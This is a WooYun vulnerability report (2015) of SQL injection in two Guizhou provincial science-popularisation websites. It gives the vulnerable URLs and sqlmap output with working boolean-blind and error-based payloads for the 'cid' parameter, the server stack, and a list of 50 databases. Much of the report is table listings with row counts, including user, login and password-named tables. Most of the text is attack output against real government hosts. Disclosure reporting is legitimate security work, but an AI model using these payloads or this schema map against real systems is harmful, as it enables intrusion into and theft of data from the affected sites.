当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111054

漏洞标题:某省科学技术普及网存在SQL注射

相关厂商:cncert国家互联网应急中心

漏洞作者: Yang

提交时间:2015-05-27 08:22

修复时间:2015-07-14 22:44

公开时间:2015-07-14 22:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-27: 细节已通知厂商并且等待厂商处理中
2015-05-30: 厂商已经确认,细节仅向厂商公开
2015-06-09: 细节向核心白帽子及相关领域专家公开
2015-06-19: 细节向普通白帽子公开
2015-06-29: 细节向实习白帽子公开
2015-07-14: 细节向公众公开

简要描述:

某省科学技术普及网存在SQL注射。泄露50库
不知道数据有没有用 英文不好看不懂

详细说明:

主办方:贵州省科技厅
版权所有 贵州省科技厅 技术支持 贵州省科技信息中心 Copyright 2009
科普信息交流群:347057400
http://lpsdx.gzst.gov.cn/comimglist.aspx?sid=M06&cid=M06&page=1
http://sfc.gzst.gov.cn/comimglist.aspx?sid=M06&cid=M06&page=1
两站没有两样

sqlmap identified the following injection points with a total of 438 HTTP(s) requests:
---
Parameter: cid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sid=M06&cid=M06' AND 4518=4518 AND 'yjqt'='yjqt&page=1
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: sid=M06&cid=M06' AND 4153=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4153=4153) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(106)+CHAR(113))) AND 'bsBK'='bsBK&page=1
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000


available databases [50]:
[*] construction_basic
[*] construction_basic_test
[*] DB_CSRDataBase
[*] DB_gzsclzx
[*] DB_high_talent
[*] DB_Innovation_Fund
[*] DB_rjkfzx
[*] EmpLabDB
[*] FILEUPLOAD
[*] gxxyd
[*] gzict2009
[*] gzjdy2009
[*] gzkpdata
[*] gzkpwdata
[*] gzsfc2013
[*] gzsgwyj
[*] gzyjw2009
[*] handicapped
[*] HighEnt
[*] huifengmoliao
[*] kjt_mykj
[*] kjtpy
[*] kjzdzx
[*] lpszx
[*] master
[*] model
[*] mr_message
[*] msdb
[*] Northwind
[*] pms-lps
[*] pubs
[*] qnkj
[*] qrpx
[*] qxxh
[*] sms_platform
[*] temp
[*] tempdb
[*] TEST
[*] TEST_SHOP
[*] testa
[*] tgc
[*] tgc-old
[*] website
[*] website_temp
[*] wisdom
[*] XCT_EXAM
[*] xtrjy
[*] yaosms
[*] zzyxxpt
[*] 鑽搧璇存槑涔?


漏洞证明:

看数据吧
农村的孩子英文不好

available databases [50]:
[*] construction_basic
[*] construction_basic_test
[*] DB_CSRDataBase
[*] DB_gzsclzx
[*] DB_high_talent
[*] DB_Innovation_Fund
[*] DB_rjkfzx
[*] EmpLabDB
[*] FILEUPLOAD
[*] gxxyd
[*] gzict2009
[*] gzjdy2009
[*] gzkpdata
[*] gzkpwdata
[*] gzsfc2013
[*] gzsgwyj
[*] gzyjw2009
[*] handicapped
[*] HighEnt
[*] huifengmoliao
[*] kjt_mykj
[*] kjtpy
[*] kjzdzx
[*] lpszx
[*] master
[*] model
[*] mr_message
[*] msdb
[*] Northwind
[*] pms-lps
[*] pubs
[*] qnkj
[*] qrpx
[*] qxxh
[*] sms_platform
[*] temp
[*] tempdb
[*] TEST
[*] TEST_SHOP
[*] testa
[*] tgc
[*] tgc-old
[*] website
[*] website_temp
[*] wisdom
[*] XCT_EXAM
[*] xtrjy
[*] yaosms
[*] zzyxxpt
[*] 鑽搧璇存槑涔?
Database: FILEUPLOAD
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.FILE_DATA | 149 |
| dbo.AREA | 97 |
+--------------------------------------------+---------+
Database: qrpx
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.NEWS_INFO | 71 |
| dbo.sysconstraints | 3 |
| dbo.syssegments | 3 |
+--------------------------------------------+---------+
Database: TEST_SHOP
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.aaspgjtable | 255 |
| dbo.sysconstraints | 20 |
| dbo.syssegments | 3 |
+--------------------------------------------+---------+
Database: website_temp
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.NEWS_INFO | 3361 |
| dbo.WEBSITE_GROUP_MENU | 2452 |
| dbo.WEBSITE_MENU | 1386 |
| dbo.WEBSITE_TEMPLATE | 206 |
| dbo.TB_PRIVILEDGE | 204 |
| dbo.SA_USER | 203 |
| dbo.WEBSITE_GROUP_USER | 144 |
| dbo.WEBSITE_GROUP | 139 |
| dbo.LOCUS | 97 |
| dbo.WEB_LINK | 90 |
| dbo.SA_MENU | 78 |
| dbo.WEBSITE | 70 |
| dbo.SYS_TBDICT | 67 |
| dbo.WEBSITE_LINK | 62 |
| dbo.TB_JOB | 48 |
| dbo.WEBSITE_PICTURE | 15 |
| dbo.SYSTEM_MENU | 12 |
| dbo.NEWS_MENU | 11 |
| dbo.TEST_STUDENT | 11 |
| dbo.LEADER_RESUME | 10 |
| dbo.TB_RECRUIT | 10 |
| dbo.PR_NEWS_INFO | 9 |
| dbo.WEBSITE_LINK_TYPE | 8 |
| dbo.dtproperties | 7 |
| dbo.MESSAGE_INFO | 6 |
| dbo.NEWS_INFO_REBACK_CHECK | 5 |
| dbo.TB_RESEARCH | 5 |
| dbo.WEBSITE_MESSAGE | 5 |
| dbo.APPLICATION_FROM | 4 |
| dbo.NEWS_INFO_REBACK | 4 |
| dbo.NEWS_INFO_TYPE | 4 |
| dbo.SA_USER_TYPE | 3 |
| dbo.TEST_OFFICE | 3 |
| dbo.SA_GROUP | 1 |
+--------------------------------------------+---------+
Database: XCT_EXAM
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.EXAM | 2690 |
| dbo.syssegments | 3 |
| dbo.sysconstraints | 2 |
+--------------------------------------------+---------+
Database: tgc-old
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.eWebEditor_Button | 111 |
| dbo.eWebEditor_ToolBar | 42 |
| dbo.ClassTree | 32 |
| dbo.eWebEditor_Style | 13 |
| dbo.dw_type | 8 |
| dbo.dw | 2 |
| dbo.eWebEditor_System | 1 |
+--------------------------------------------+---------+
Database: construction_basic
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.WEBSITE_GROUP_MENU | 16520 |
| dbo.WEBSITE_MENU | 8185 |
| dbo.SA_USER | 3914 |
| dbo.WEBSITE_GROUP_USER | 3902 |
| dbo.WEBSITE_GROUP | 976 |
| dbo.WEBSITE_DOCUMENT | 933 |
| dbo.gzcxjj_user | 733 |
| dbo.WEBSITE_TEMPLATE | 378 |
| dbo.WEBSITE | 333 |
| dbo.WEBSITE_DEVELOP_OLD | 269 |
| dbo.WEBSITE_REGION | 109 |
| dbo.SA_USER_TYPE | 101 |
| dbo.WEBSITE_CONNECTION | 23 |
| dbo.SYS_TBDICT | 22 |
| dbo.SYSTEM_MENU | 12 |
| dbo.dtproperties | 7 |
| dbo.gzcxjj_4 | 4 |
| dbo.WEBSITE_DEVELOP_OLD_2 | 4 |
| dbo.UNIT_LEVEL | 2 |
| dbo.WEBSITE_COUNTER | 1 |
| dbo.WEBSITE_DEVELOP | 1 |
+--------------------------------------------+---------+
Database: DB_high_talent
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.TB_talent_thesis | 806 |
| dbo.SYS_SUBJECT | 801 |
| dbo.TB_talent_undertake_project | 304 |
| dbo.SYS_TITLE | 223 |
| dbo.SYS_TBDICT | 178 |
| dbo.TB_team_undertake_project | 107 |
| dbo.SYS_LOCUS | 99 |
| dbo.TB_talent_patent | 80 |
| dbo.TB_talent_info | 60 |
| dbo.TB_talent_bookmaking | 51 |
| dbo.TB_unit_info | 48 |
| dbo.TB_talent_honour | 47 |
| dbo.TB_talent_achievement | 39 |
| dbo.TB_team_thesis | 29 |
| dbo.TB_unit_undertake_project | 25 |
| dbo.TB_team_info | 23 |
| dbo.TB_team_honour | 21 |
| dbo.TB_common_info | 19 |
| dbo.TB_team_member | 18 |
| dbo.TB_unit_honour | 14 |
| dbo.TB_team_achievement | 11 |
| dbo.TB_policy | 10 |
| dbo.TB_propaganda | 10 |
| dbo.TB_talent_standard | 8 |
| dbo.TB_talent_academic_exchange | 6 |
| dbo.TB_team_bookmaking | 6 |
| dbo.TB_team_patent | 6 |
| dbo.TB_team_standard | 5 |
| dbo.TB_team_academic_exchange | 4 |
| dbo.TB_unit_demand | 1 |
+--------------------------------------------+---------+
Database: yaosms
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.[VIEW#NEWS_INFO_LIST] | 859 |
| dbo.NEWS_INFO | 859 |
| dbo.sysconstraints | 15 |
| dbo.dtproperties | 7 |
| dbo.[VIEW#SA_USER_LIST] | 4 |
| dbo.SA_USER | 4 |
| dbo.SA_USER_TYPE | 3 |
| dbo.syssegments | 3 |
| dbo.SYSTEM_MENU | 2 |
| dbo.[VIEW#SA_GROUP_LIST] | 1 |
| dbo.SA_GROUP | 1 |
+--------------------------------------------+---------+
Database: construction_basic_test
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.WEBSITE_GROUP_MENU | 16039 |
| dbo.WEBSITE_MENU | 7751 |
| dbo.SA_USER | 3494 |
| dbo.WEBSITE_GROUP_USER | 3484 |
| dbo.WEBSITE_GROUP | 933 |
| dbo.WEBSITE | 310 |
| dbo.WEBSITE_DEVELOP_OLD | 269 |
| dbo.WEBSITE_TEMPLATE | 236 |
| dbo.WEBSITE_DOCUMENT | 127 |
| dbo.WEBSITE_REGION | 109 |
| dbo.SA_USER_TYPE | 55 |
| dbo.SYS_TBDICT | 22 |
| dbo.SYSTEM_MENU | 12 |
| dbo.dtproperties | 7 |
| dbo.WEBSITE_DEVELOP_OLD_2 | 4 |
| dbo.UNIT_LEVEL | 2 |
| dbo.WEBSITE_COUNTER | 1 |
| dbo.WEBSITE_DEVELOP | 1 |
+--------------------------------------------+---------+
Database: huifengmoliao
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.NEWS | 113 |
| dbo.Massage | 93 |
| dbo.website_count | 20 |
| dbo.ClassES | 15 |
| dbo.myorder | 11 |
| dbo.LinkInfo | 6 |
| dbo.LinkType | 4 |
| dbo.TouPiao | 4 |
| dbo.ADMIN | 1 |
| dbo.BOX | 1 |
| dbo.DanWei | 1 |
| dbo.Engineer | 1 |
+--------------------------------------------+---------+
Database: HighEnt
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.humaninfo | 6576 |
| dbo.patentsinfo | 2089 |
| dbo.projectsinfo | 1271 |
| dbo.V_projectsinfo | 1271 |
| dbo.productincominfo | 926 |
| dbo.SysUser | 713 |
| dbo.V_UserList | 686 |
| dbo.productinfo | 657 |
| dbo.Corporation | 453 |
| dbo.thesisinfo | 356 |
| dbo.standardsinfo | 303 |
| dbo.datafillstateinfo | 290 |
| dbo.CorporEconomyInfo | 287 |
| dbo.FinancialStatement | 285 |
| dbo.RoleRight | 274 |
| dbo.V_RoleRight | 272 |
| dbo.projectsfeeinfo | 264 |
| dbo.RDfee | 259 |
| dbo.QualityControl | 186 |
| dbo.PersonSum | 155 |
| dbo.BaseRef | 114 |
| dbo.softwareinfo | 83 |
| dbo.ResearchCenters | 81 |
| dbo.V_MenuRightList | 68 |
| dbo.SystResource | 50 |
| dbo.newmedicines | 34 |
| dbo.sysconstraints | 32 |
| dbo.SysRole | 10 |
| dbo.newplants | 8 |
| dbo.inform | 6 |
| dbo.informList | 6 |
| dbo.syssegments | 3 |
| dbo.administration | 1 |
+--------------------------------------------+---------+
Database: Northwind
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.[Customer and Suppliers by City] | 120 |
| dbo.Customers | 91 |
| dbo.[Alphabetical list of products] | 69 |
| dbo.[Current Product List] | 69 |
| dbo.EmployeeTerritories | 49 |
| dbo.Employees | 9 |
| dbo.[Category Sales for 1997] | 8 |
| dbo.Categories | 8 |
+--------------------------------------------+---------+
Database: gzkpwdata
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.label | 19 |
| dbo.para | 12 |
| dbo.info | 7 |
| dbo.members | 2 |
| dbo.img | 1 |
+--------------------------------------------+---------+
Database: tempdb
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.syssegments | 3 |
+--------------------------------------------+---------+
Database: DB_rjkfzx
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.NEWS_INFO | 53 |
| dbo.sysconstraints | 3 |
| dbo.syssegments | 3 |
+--------------------------------------------+---------+
Database: kjzdzx
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.SYSTEM_LOG | 1986 |
| dbo.NEWS_INFO | 245 |
| dbo.XMJJ | 150 |
| dbo.XMJZ | 138 |
| dbo.WEB_RESEARCH_LOG | 133 |
| dbo.CGZS | 31 |
| dbo.PICTURE_INFO | 25 |
| dbo.sysconstraints | 23 |
| dbo.[VIEW#WEB_RESEARCH_LIST] | 4 |
| dbo.WEB_RESEARCH | 4 |
| dbo.syssegments | 3 |
+--------------------------------------------+---------+
Database: EmpLabDB
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.thesisinfo | 7251 |
| dbo.V_thesisinfo | 7251 |
| dbo.projectsinfo | 4147 |
| dbo.V_projectsinfo | 4147 |
| dbo.patentsinfo | 3306 |
| dbo.humaninfo | 2976 |
| dbo.V_humaninfo | 2976 |
| dbo.NewEquipments | 1942 |
| dbo.V_Equipments | 1942 |
| dbo.Academicactivities | 1789 |
| dbo.V_Academicactivities | 1789 |
| dbo.AcademicCouncil | 995 |
| dbo.V_AcademicCouncil | 995 |
| dbo.ServiceIncome | 942 |
| dbo.V_ServiceIncome | 942 |
| dbo.opentask | 641 |
| dbo.FinancialStatement | 529 |
| dbo.Talents | 488 |
| dbo.PrizeReceived | 466 |
| dbo.V_PrizeReceived | 466 |
| dbo.KnowledegRight | 384 |
| dbo.V_KnowledegRight | 384 |
| dbo.ProductIncome | 358 |
| dbo.V_ProductIncome | 358 |
| dbo.allassetInfo | 253 |
| dbo.datafillstateinfo | 235 |
| dbo.RoleRight | 206 |
| dbo.V_RoleRight | 201 |
| dbo.SysUser | 134 |
| dbo.BaseRef | 116 |
| dbo.Corporation | 113 |
| dbo.V_Corporation | 113 |
| dbo.V_UserList | 112 |
| dbo.administration | 90 |
| dbo.V_MenuRightList | 79 |
| dbo.oldEquipments | 68 |
| dbo.PersonSum | 67 |
| dbo.SystResource | 64 |
| dbo.sysconstraints | 37 |
| dbo.S3_Tmp | 31 |
| dbo.SysRole | 4 |
| dbo.syssegments | 3 |
| dbo.inform | 1 |
| dbo.informList | 1 |
| dbo.projectsfeeinfo | 1 |
| dbo.RDfee | 1 |
+--------------------------------------------+---------+
Database: pubs
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.roysched | 86 |
| dbo.employee | 43 |
| dbo.sysconstraints | 34 |
| dbo.titleauthor | 25 |
| dbo.titleview | 25 |
| dbo.authors | 23 |
| dbo.bin_dir | 21 |
| dbo.sales | 21 |
| dbo.titles | 18 |
| dbo.jobs | 14 |
| dbo.pub_info | 8 |
| dbo.publishers | 8 |
| dbo.stores | 6 |
| dbo.discounts | 3 |
| dbo.syssegments | 3 |
+--------------------------------------------+---------+
Database: pms-lps
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.aTable_Column | 1192 |
| dbo.rptTB_declare_unit | 22 |
| dbo.rptTB_criticalpoint_project | 19 |
| dbo.rptTB_criticalpoint_unit | 15 |
| dbo.rptTB_commend_unit | 13 |
| dbo.rptTB_criticalpoint_base | 10 |
| dbo.rptTB_criticalpoint_chargeman | 10 |
| dbo.rptTB_criticalpoint_budget | 7 |
| dbo.rptTB_cooperation_unit | 6 |
+--------------------------------------------+---------+
Database: xtrjy
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.rjy_qy | 110 |
| dbo.rjy_dt | 48 |
| dbo.rjy_news | 41 |
| dbo.yuan_news | 29 |
| dbo.sysconstraints | 17 |
| dbo.YQLJ | 17 |
| dbo.rjy_fg | 12 |
| dbo.rjy_fw | 8 |
| dbo.yuan_xinxi | 8 |
| dbo.mima | 7 |
| dbo.yuan_fjlb | 7 |
| dbo.rjy_fjlb | 6 |
| dbo.rjy_yq | 4 |
| dbo.syssegments | 3 |
+--------------------------------------------+---------+
Database: master
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| INFORMATION_SCHEMA.PARAMETERS | 3666 |
| INFORMATION_SCHEMA.ROUTINES | 1047 |
| dbo.spt_values | 730 |
| INFORMATION_SCHEMA.COLUMNS | 401 |
| INFORMATION_SCHEMA.COLUMN_PRIVILEGES | 400 |
| INFORMATION_SCHEMA.VIEW_COLUMN_USAGE | 302 |
| INFORMATION_SCHEMA.ROUTINE_COLUMNS | 159 |
| INFORMATION_SCHEMA.VIEW_TABLE_USAGE | 63 |
| INFORMATION_SCHEMA.SCHEMATA | 50 |
| INFORMATION_SCHEMA.TABLE_PRIVILEGES | 39 |
| INFORMATION_SCHEMA.TABLES | 39 |
| dbo.spt_datatype_info | 36 |
| dbo.spt_server_info | 29 |
| INFORMATION_SCHEMA.VIEWS | 26 |
| dbo.spt_provider_types | 25 |
| dbo.spt_datatype_info_ext | 10 |
| dbo.syslogins | 8 |
| dbo.sysconstraints | 3 |
| dbo.syssegments | 3 |
| dbo.MSreplication_options | 2 |
| INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE | 2 |
| INFORMATION_SCHEMA.KEY_COLUMN_USAGE | 2 |
| dbo.spt_monitor | 1 |
| dbo.sysoledbusers | 1 |
| INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE | 1 |
| INFORMATION_SCHEMA.TABLE_CONSTRAINTS | 1 |
+--------------------------------------------+---------+
Database: website
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.[VIEW#NEWS_INFO_LIST] | 4610 |
| dbo.[VIEW#SEARCHCONTROLS] | 4610 |
| dbo.NEWS_INFO | 4610 |
| dbo.VIEW_NEWS_INFO_AND_NEWS_INFO_CHECK | 4610 |
| dbo.WEBSITE_GROUP_MENU | 2405 |
| dbo.WEBSITE_MENU | 1330 |
| dbo.[VIEW#SA_USER_LIST] | 205 |
| dbo.SA_USER | 205 |
| dbo.[VIEW#PRIVILEDGE] | 204 |
| dbo.TB_PRIVILEDGE | 204 |
| dbo.WEBSITE_TEMPLATE | 187 |
| dbo.WEBSITE_GROUP_USER | 144 |
| dbo.WEBSITE_GROUP | 135 |
| dbo.LOCUS | 97 |
| dbo.WEB_LINK | 90 |
| dbo.SA_MENU | 78 |
| dbo.sysconstraints | 73 |
| dbo.SYS_TBDICT | 67 |
| dbo.[VIEW#WEBSITE_LIST] | 65 |
| dbo.WEBSITE | 65 |
| dbo.WEBSITE_LINK | 62 |
| dbo.TB_JOB | 48 |
| dbo.WEBSITE_PICTURE | 15 |
| dbo.SYSTEM_MENU | 12 |
| dbo.NEWS_MENU | 11 |
| dbo.TEST_STUDENT | 11 |
| dbo.[VIEW#LEADER_RESUME] | 10 |
| dbo.LEADER_RESUME | 10 |
| dbo.TB_RECRUIT | 10 |
| dbo.[VIEW#TB_RESEARCH_LIST] | 9 |
| dbo.PR_NEWS_INFO | 9 |
| dbo.TB_RESEARCH | 9 |
| dbo.[VIEW#WEBSITE_LINK_LIST] | 8 |
| dbo.TB_CORPORATION | 8 |
| dbo.WEBSITE_LINK_TYPE | 8 |
| dbo.dtproperties | 7 |
| dbo.[VIEW#WEBSITE_MESSAGE_LIST] | 6 |
| dbo.MESSAGE_INFO | 6 |
| dbo.WEBSITE_MESSAGE | 6 |
| dbo.NEWS_INFO_REBACK_CHECK | 5 |
| dbo.[VIEW#APPLICATION_FORM] | 4 |
| dbo.APPLICATION_FROM | 4 |
| dbo.NEWS_INFO_REBACK | 4 |
| dbo.NEWS_INFO_TYPE | 4 |
| dbo.VIEW_NEWS_INFO_REBACK_LIST | 4 |
| dbo.SA_USER_TYPE | 3 |
| dbo.syssegments | 3 |
| dbo.TEST_OFFICE | 3 |
| dbo.[VIEW#SA_GROUP_LIST] | 1 |
| dbo.SA_GROUP | 1 |
+--------------------------------------------+---------+
Database: gzsgwyj
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.szgwy725g | 29901 |
| dbo.szjc725g | 9054 |
| dbo.WEB_RESEARCH_LOG | 3844 |
| dbo.mscj201208251 | 3202 |
| dbo.SYSTEM_LOG | 2093 |
| dbo.mscj20120825 | 1007 |
| dbo.test_201202 | 812 |
| dbo.test_201201 | 479 |
| dbo.MEMBER_LOGIN | 472 |
| dbo.PROBLEMS_REPLY | 271 |
| dbo.NEWS_INFO | 199 |
| dbo.sysconstraints | 24 |
| dbo.wbcj725 | 17 |
| dbo.UPLOAD_TABLE | 7 |
| dbo.[VIEW#WEB_RESEARCH_LIST] | 4 |
| dbo.WEB_RESEARCH | 4 |
| dbo.syssegments | 3 |
+--------------------------------------------+---------+
Database: qxxh
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.[VIEW#NEWS_INFO_LIST] | 315 |
| dbo.[VIEW#SEARCHCONTROLS] | 315 |
| dbo.NEWS_INFO | 315 |
| dbo.WEBSITE_MENU | 32 |
| dbo.SA_MENU | 31 |
| dbo.sysconstraints | 28 |
| dbo.WEB_LINK | 17 |
| dbo.SYS_TBDICT | 11 |
| dbo.[VIEW#TB_MESSAGE_LIST] | 8 |
| dbo.TB_MESSAGE | 8 |
| dbo.dtproperties | 7 |
| dbo.SYSTEM_MENU | 7 |
| dbo.[VIEW#TB_RESEARCH_LIST] | 4 |
| dbo.TB_RESEARCH | 4 |
| dbo.SA_USER_TYPE | 3 |
| dbo.syssegments | 3 |
| dbo.[VIEW#SA_USER_LIST] | 2 |
| dbo.SA_USER | 2 |
| dbo.WEBSITE | 2 |
| dbo.[VIEW#SA_GROUP_LIST] | 1 |
| dbo.COUNTER | 1 |
| dbo.SA_GROUP | 1 |
+--------------------------------------------+---------+
Database: DB_Innovation_Fund
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.PARTICIPATE_UNIT | 21555 |
| dbo.PROJECT_FLOW_LOG | 20767 |
| dbo.DECLARE_UNIT | 10863 |
| dbo.RESEARCH_MEMBER | 5586 |
| dbo.SCIENCE_PRODUCT | 2635 |
| dbo.PROJECT_INNOVATE_FUND | 1335 |
| dbo.SYS_TBDICT | 439 |
| dbo.COMMEND_UNIT | 55 |
| dbo.TB_common_info | 27 |
| dbo.PROJECT_FLOW_TAG | 23 |
| dbo.TB_policy | 16 |
| dbo.TB_material_download | 14 |
| dbo.XMJJ | 10 |
| dbo.TB_achievement | 9 |
| dbo.TB_technic_requirement | 7 |
| dbo.CGZS | 5 |
| dbo.XMJZ | 3 |
| dbo.TB_problem_reply | 2 |
| dbo.TB_project_progress | 1 |
| dbo.TB_year_report | 1 |
+--------------------------------------------+---------+
Database: gxxyd
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.[VIEW#NEWS_INFO_LIST] | 547 |
| dbo.[VIEW#SEARCHCONTROLS] | 547 |
| dbo.NEWS_INFO | 547 |
| dbo.SA_MENU | 45 |
| dbo.WEBSITE_MENU | 34 |
| dbo.sysconstraints | 30 |
| dbo.WEB_LINK | 17 |
| dbo.SYS_TBDICT | 11 |
| dbo.dtproperties | 7 |
| dbo.SYSTEM_MENU | 7 |
| dbo.[VIEW#TB_RESEARCH_LIST] | 4 |
| dbo.TB_RESEARCH | 4 |
| dbo.SA_USER_TYPE | 3 |
| dbo.syssegments | 3 |
| dbo.[VIEW#SA_USER_LIST] | 2 |
| dbo.SA_USER | 2 |
| dbo.WEBSITE | 2 |
| dbo.[VIEW#SA_GROUP_LIST] | 1 |
| dbo.COUNTER | 1 |
| dbo.SA_GROUP | 1 |
+--------------------------------------------+---------+
Database: msdb
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.RTblRelships | 6922 |
| dbo.RTblIfaceHier | 3349 |
| dbo.backupfile | 3288 |
| dbo.RTblVersionAdminInfo | 2333 |
| dbo.RTblVersions | 2333 |
| dbo.RTblNamedObj | 2196 |
| dbo.backupset | 1652 |
| dbo.backupmediafamily | 1501 |
| dbo.backupmediaset | 1500 |
| dbo.RTblIfaceMem | 1189 |
| dbo.RTblPropDefs | 797 |
| dbo.RTblClassDefs | 537 |
| dbo.RTblIfaceDefs | 453 |
| dbo.sysjobhistory | 430 |
| dbo.RTblProps | 393 |
| dbo.RTblRelColDefs | 320 |
| dbo.RTblRelshipDefs | 144 |
| dbo.RTblParameterDef | 136 |
| dbo.sysconstraints | 101 |
| dbo.restorefile | 76 |
| dbo.RTblClassExtension | 69 |
| dbo.RTblSites | 44 |
| dbo.restorehistory | 39 |
| dbo.restorefilegroup | 38 |
| dbo.RTblRelshipProps | 28 |
| dbo.sysjobs | 20 |
| dbo.sysjobs_view | 20 |
| dbo.sysjobservers | 20 |
| dbo.sysjobsteps | 20 |
| dbo.syscategories | 19 |
| dbo.RTblTypeLibs | 17 |
| dbo.sysalerts | 9 |
| dbo.sysjobschedules | 4 |
| dbo.sysdtscategories | 3 |
| dbo.syssegments | 3 |
| dbo.RTblDatabaseVersion | 1 |
| dbo.syscachedcredentials | 1 |
| dbo.sysdbmaintplans | 1 |
| dbo.systargetservers_view | 1 |
+--------------------------------------------+---------+
Database: gzyjw2009
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.NEWS_INFO | 224 |
| dbo.SA_MENU | 173 |
| dbo.dtproperties | 7 |
| dbo.SA_USER | 3 |
| dbo.SA_USER_TYPE | 3 |
| dbo.COUNTER | 1 |
| dbo.SA_GROUP | 1 |
+--------------------------------------------+---------+
Database: testa
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.syssegments | 3 |
| dbo.cmd | 2 |
| dbo.cmd1 | 1 |
+--------------------------------------------+---------+
Database: kjt_mykj
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.view_census_product | 1336 |
| dbo.Product_Info | 1296 |
| dbo.view_census_economicSector | 977 |
| dbo.view_test | 672 |
| dbo.view_census_division | 641 |
| dbo.Economic_Info | 632 |
| dbo.Employee_Info | 632 |
| dbo.Enterprise_Info | 632 |
| dbo.EnterpriseLog_Info | 632 |
| dbo.TechnologyMoney_Info | 632 |
| dbo.TechnologyProduct_Info | 632 |
| dbo.view_enterprise_list | 632 |
| dbo.view_census_bookingType | 604 |
| dbo.view_tongji | 599 |
| dbo.EconomicSector_Info | 511 |
| dbo.Census_Info | 151 |
| dbo.Division_Info | 99 |
| dbo.Question_Info | 50 |
| dbo.sysconstraints | 27 |
| dbo.BookingType_Info | 23 |
| dbo.QuestionOption_Info | 19 |
| dbo.dtproperties | 7 |
| dbo.Education_Info | 5 |
| dbo.UnitType_Info | 5 |
| dbo.syssegments | 3 |
| dbo.SysSet_Info | 1 |
+--------------------------------------------+---------+
Database: gzjdy2009
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.info_publish | 176 |
| dbo.SYS_TBDICT | 26 |
| dbo.sysconstraints | 12 |
| dbo.SA_MENU | 11 |
| dbo.dtproperties | 7 |
| dbo.SA_USER_TYPE | 3 |
| dbo.syssegments | 3 |
| dbo.COUNTER | 1 |
| dbo.SA_GROUP | 1 |
| dbo.SA_USER | 1 |
+--------------------------------------------+---------+
Database: gzict2009
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.info_publish | 111 |
| dbo.SYS_TBDICT | 26 |
| dbo.sysconstraints | 15 |
| dbo.SA_MENU | 12 |
| dbo.dtproperties | 7 |
| dbo.SA_USER_TYPE | 3 |
| dbo.syssegments | 3 |
| dbo.COUNTER | 1 |
| dbo.SA_GROUP | 1 |
| dbo.SA_USER | 1 |
+--------------------------------------------+---------+
Database: DB_CSRDataBase
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.TB_common_info | 492 |
| dbo.SYSTEM_LOG | 102 |
| dbo.TB_sys_datadictionary | 87 |
| dbo.TB_base_associator | 38 |
| dbo.TB_base_corporation | 38 |
| dbo.WEBSITE_MENU | 25 |
| dbo.TB_base_ballotValidate | 15 |
| dbo.TB_common_commentary | 7 |
+--------------------------------------------+---------+
Database: lpszx
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.info_publish | 264 |
| dbo.eWebEditor_Button | 111 |
| dbo.xsdw_yqlink | 54 |
| dbo.eWebEditor_ToolBar | 42 |
| dbo.dictionary | 33 |
| dbo.ClassTree | 22 |
